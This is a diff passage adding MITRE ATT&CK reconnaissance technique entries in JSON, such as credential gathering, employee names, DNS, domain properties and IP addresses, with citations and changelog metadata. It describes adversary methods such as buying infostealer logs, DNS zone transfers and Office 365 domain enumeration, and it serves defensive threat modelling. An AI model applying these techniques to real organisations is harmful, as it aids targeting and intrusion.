+ "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
+ "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
+ },
+ {
+ "source_name": "GitHub truffleHog",
+ "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
+ "url": "https://github.com/dxa4481/truffleHog"
+ },
+ {
+ "source_name": "GrimBlog UsernameEnum",
+ "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
+ "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"
+ },
+ {
+ "source_name": "Register Uber",
+ "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
+ "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
+ },
+ {
+ "source_name": "GitHub Gitrob",
+ "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
+ "url": "https://github.com/michenriksen/gitrob"
+ },
+ {
+ "source_name": "CNET Leaks",
+ "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
+ "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
+ },
+ {
+ "source_name": "Obsidian SSPR Abuse 2023",
+ "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
+ "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
+ },
+ {
+ "source_name": "Forbes GitHub Creds",
+ "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
+ "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
+ },
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+ "source_name": "Register Deloitte",
+ "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
+ "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
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+ "DET0841: Detection of Gather Victim Identity Information"
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+ "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 14:55:43.815000+00:00",
+ "modified": "2025-10-24 17:49:18.246000+00:00",
+ "name": "Credentials",
+ "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ",
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+ "phase_name": "reconnaissance"
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+ "url": "https://attack.mitre.org/techniques/T1589/001",
+ "external_id": "T1589.001"
+ },
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+ "source_name": "Bleeping Computer 2easy 2021",
+ "description": "Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.",
+ "url": "https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/"
+ },
+ {
+ "source_name": "ATT ScanBox",
+ "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
+ "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ },
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+ "source_name": "Detectify Slack Tokens",
+ "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
+ "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
+ },
+ {
+ "source_name": "GitHub truffleHog",
+ "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
+ "url": "https://github.com/dxa4481/truffleHog"
+ },
+ {
+ "source_name": "Bleeping Computer Stealer Logs 2023",
+ "description": "Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.",
+ "url": "https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/"
+ },
+ {
+ "source_name": "Register Uber",
+ "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
+ "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
+ },
+ {
+ "source_name": "GitHub Gitrob",
+ "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
+ "url": "https://github.com/michenriksen/gitrob"
+ },
+ {
+ "source_name": "CNET Leaks",
+ "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
+ "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
+ },
+ {
+ "source_name": "Okta Scatter Swine 2022",
+ "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
+ "url": "https://sec.okta.com/scatterswine"
+ },
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+ "source_name": "Forbes GitHub Creds",
+ "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
+ "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
+ },
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+ "source_name": "SecureWorks Infostealers 2023",
+ "description": "SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.",
+ "url": "https://www.secureworks.com/research/the-growing-threat-from-infostealers"
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+ "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
+ "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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+ "url": "https://attack.mitre.org/techniques/T1589/003",
+ "external_id": "T1589.003"
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+ "source_name": "OPM Leak",
+ "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
+ "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
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+ "name": "Gather Victim Network Information",
+ "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
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+ "url": "https://attack.mitre.org/techniques/T1590",
+ "external_id": "T1590"
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+ "source_name": "Circl Passive DNS",
+ "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
+ "url": "https://www.circl.lu/services/passive-dns/"
+ },
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+ "source_name": "DNS Dumpster",
+ "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
+ "url": "https://dnsdumpster.com/"
+ },
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+ "source_name": "WHOIS",
+ "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
+ "url": "https://who.is/"
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+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.938000+00:00\", \"old_value\": \"2025-04-15 22:38:13.461000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0869: Detection of Gather Victim Network Information"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 15:47:10.102000+00:00",
+ "modified": "2025-10-24 17:48:24.404000+00:00",
+ "name": "DNS",
+ "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1590/002",
+ "external_id": "T1590.002"
+ },
+ {
+ "source_name": "Circl Passive DNS",
+ "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
+ "url": "https://www.circl.lu/services/passive-dns/"
+ },
+ {
+ "source_name": "DNS-CISA",
+ "description": "CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.",
+ "url": "https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information"
+ },
+ {
+ "source_name": "DNS Dumpster",
+ "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
+ "url": "https://dnsdumpster.com/"
+ },
+ {
+ "source_name": "Alexa-dns",
+ "description": "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.",
+ "url": "https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/"
+ },
+ {
+ "source_name": "Sean Metcalf Twitter DNS Records",
+ "description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved September 12, 2024.",
+ "url": "https://x.com/PyroTek3/status/1126487227712921600"
+ },
+ {
+ "source_name": "Trails-DNS",
+ "description": "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.",
+ "url": "https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:24.404000+00:00\", \"old_value\": \"2025-04-15 22:13:37.080000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1054: Software Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0843: Detection of DNS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 15:46:24.670000+00:00",
+ "modified": "2025-10-24 17:49:31.581000+00:00",
+ "name": "Domain Properties",
+ "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1590/001",
+ "external_id": "T1590.001"
+ },
+ {
+ "source_name": "Circl Passive DNS",
+ "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
+ "url": "https://www.circl.lu/services/passive-dns/"
+ },
+ {
+ "source_name": "Azure Active Directory Reconnaisance",
+ "description": "Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.",
+ "url": "https://o365blog.com/post/just-looking/"
+ },
+ {
+ "source_name": "DNS Dumpster",
+ "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
+ "url": "https://dnsdumpster.com/"
+ },
+ {
+ "source_name": "Office 265 Azure Domain Availability",
+ "description": "Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.",
+ "url": "https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure"
+ },
+ {
+ "source_name": "WHOIS",
+ "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
+ "url": "https://who.is/"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
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+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.581000+00:00\", \"old_value\": \"2025-04-15 22:22:22.764000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0847: Detection of Domain Properties"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 15:59:11.695000+00:00",
+ "modified": "2025-10-24 17:48:23.845000+00:00",
+ "name": "IP Addresses",
+ "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1590/005",
+ "external_id": "T1590.005"
+ },
+ {
+ "source_name": "Circl Passive DNS",
+ "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
+ "url": "https://www.circl.lu/services/passive-dns/"
+ },
+ {
+ "source_name": "DNS Dumpster",
+ "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
+ "url": "https://dnsdumpster.com/"
+ },
+ {
+ "source_name": "WHOIS",
+ "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
+ "url": "https://who.is/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.845000+00:00\", \"old_value\": \"2025-04-15 22:40:30.211000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0815: Detection of IP Addresses"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:01:35.350000+00:00",
+ "modified": "2025-10-24 17:48:55.360000+00:00",
+ "name": "Network Security Appliances",
+ "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1590/006",
+ "external_id": "T1590.006"
+ },
+ {
+ "source_name": "Nmap Firewalls NIDS",
+ "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.",
+ "url": "https://nmap.org/book/firewalls.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.360000+00:00\", \"old_value\": \"2025-04-15 22:52:16.483000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0889: Detection of Network Security Appliances"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 15:49:03.815000+00:00",
+ "modified": "2025-10-24 17:48:37.652000+00:00",
+ "name": "Network Topology",
